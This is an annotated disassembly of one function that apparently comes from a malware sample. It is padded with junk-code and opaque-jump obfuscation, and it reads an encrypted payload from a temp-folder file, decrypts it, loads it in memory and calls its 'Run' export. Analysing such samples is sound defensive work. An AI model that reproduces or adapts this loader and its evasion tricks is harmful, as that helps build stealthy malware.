Function at 0x10001da7
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
nop
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
mov esp, ebp
nop
pop ebp
add eax, 0
jne 0x10001d7d
je 0x10001d7d
call 0xf800de04
retf
add eax, 0
call fcn.10001c50
test al, al
je 0x10001da7
push ebp
nop
mov ebp, esp
test esi, esi
test esi, esi
add esp, 7
add esp, 0xfffffff9
nop
mov esp, ebp
nop
pop ebp
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 6
add esp, 0xfffffffa
push edi
pop edi
add esp, 8
sub esp, 8
mov esp, ebp
pop ebp
call fcn.10001cf0
test al, al
jne 0x1000210b
call fcn.10001d20
test al, al
je 0x10001df1
push ebp
nop
mov ebp, esp
push 0xffffb121
add esp, 9
add esp, 0xfffffff7
mov esp, ebp
nop
pop ebp
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
nop
nop
push ebp
nop
mov ebp, esp
add esp, 8
add esp, 0xfffffff8
add esp, 3
add esp, 0xfffffffd
inc ecx
dec ecx
push edi
pop edi
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
xor ecx, ecx
mov byte [ebp - 0x1c], 0x5c
mov dword [ebp - 0x1b], ecx
mov byte [ebp - 0x1b], 0x74
mov dword [ebp - 0x17], ecx
mov byte [ebp - 0x1a], 0x65
mov word [ebp - 0x13], cx
mov byte [ebp - 0x19], 0x6d
mov byte [ebp - 0x11], cl
mov byte [ebp - 0x18], 0x70
nop
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 0xa
sub esp, 0xa
test esi, esi
add esp, 6
sub esp, 6
mov esp, ebp
pop ebp
push 0x10004418
call eax
lea edx, [ebp - 0x1c]
push edx
push 0x10004418
call dword [sym.imp.KERNEL32.dll_lstrcatA]
nop
nop
push ebp
mov ebp, esp
add esp, 0xa
add esp, 0xfffffff6
inc ecx
dec ecx
add esp, 2
sub esp, 2
push 0xffff8016
nop
mov esp, ebp
nop
pop ebp
nop
nop
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
inc ecx
dec ecx
add esp, 7
sub esp, 7
test esi, esi
nop
mov esp, ebp
pop ebp
push str.CreateFileA
push str.kernel32
call edi
push eax
call esi
mov ebx, eax
nop
nop
push ebp
nop
nop
mov ebp, esp
test esi, esi
add esp, 8
add esp, 0xfffffff8
add esp, 8
sub esp, 8
nop
nop
mov esp, ebp
nop
pop ebp
nop
nop
push ebp
mov ebp, esp
add esp, 1
sub esp, 1
add esp, 9
add esp, 0xfffffff7
push 0xffffc2b4
add esp, 6
add esp, 0xfffffffa
nop
mov esp, ebp
pop ebp
push str.GetFileSize
push str.kernel32
call edi
push eax
call esi
mov dword [ebp - 0xc], eax
push ebp
mov ebp, esp
add esp, 5
sub esp, 5
inc ecx
dec ecx
add esp, 7
add esp, 0xfffffff9
add esp, 9
add esp, 0xfffffff7
nop
mov esp, ebp
nop
pop ebp
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x10004418
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x1000210b
nop
push ebp
nop
mov ebp, esp
push 0xffffb87d
inc ecx
dec ecx
mov esp, ebp
nop
pop ebp
push 0
push eax
call dword [ebp - 0xc]
cmp eax, 0x1d1ac
mov dword [ebp - 8], eax
jb 0x1000210b
nop
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 4
add esp, 0xfffffffc
add esp, 3
add esp, 0xfffffffd
add esp, 8
add esp, 0xfffffff8
mov esp, ebp
pop ebp
mov eax, dword [ebp - 8]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0xc], eax
nop
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
push ebx
pop ebx
add esp, 2
add esp, 0xfffffffe
test esi, esi
mov esp, ebp
nop
nop
pop ebp
push str.ReadFile
push str.kernel32
call edi
push eax
call esi
mov edx, dword [ebp - 8]
lea ecx, [ebp - 8]
push 0
push ecx
mov ecx, dword [ebp - 0xc]
push edx
mov edx, dword [ebp - 0x10]
push ecx
push edx
call eax
push ebp
mov ebp, esp
push esi
pop esi
nop
mov esp, ebp
pop ebp
push str.CloseHandle
push str.kernel32
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
nop
nop
mov ebp, esp
add esp, 1
sub esp, 1
add esp, 5
add esp, 0xfffffffb
add esp, 9
sub esp, 9
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov ecx, dword [ebp - 0x10]
push ecx
call eax
nop
push ebp
nop
mov ebp, esp
add esp, 3
sub esp, 3
add esp, 4
add esp, 0xfffffffc
add esp, 7
add esp, 0xfffffff9
nop
mov esp, ebp
pop ebp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push 0x1000432c
push edx
push eax
call fcn.10001b10
add esp, 0xc
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
push edi
pop edi
test esi, esi
push ebx
pop ebx
nop
mov esp, ebp
nop
nop
pop ebp
xor ecx, ecx
mov byte [ebp - 4], 0x52
mov word [ebp - 3], cx
mov byte [ebp - 3], 0x75
mov byte [ebp - 1], cl
mov byte [ebp - 2], 0x6e
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
add esp, 9
sub esp, 9
add esp, 1
add esp, 0xffffffff
mov esp, ebp
nop
pop ebp
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.10001440
add esp, 4
mov edi, eax
push ebp
nop
nop
mov ebp, esp
add esp, 3
sub esp, 3
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
nop
mov esp, ebp
nop
nop
pop ebp
test edi, edi
je 0x100020e6
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 3
add esp, 0xfffffffd
mov esp, ebp
pop ebp
lea edx, [ebp - 4]
push edx
push edi
call fcn.100015f0
add esp, 8
nop
nop
push ebp
mov ebp, esp
inc ecx
dec ecx
push esi
pop esi
inc ecx
dec ecx
add esp, 6
sub esp, 6
nop
mov esp, ebp
nop
pop ebp
call eax
nop
nop
push ebp
nop
mov ebp, esp
add esp, 6
add esp, 0xfffffffa
add esp, 7
add esp, 0xfffffff9
mov esp, ebp
nop
pop ebp
push edi
call fcn.100016b0
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4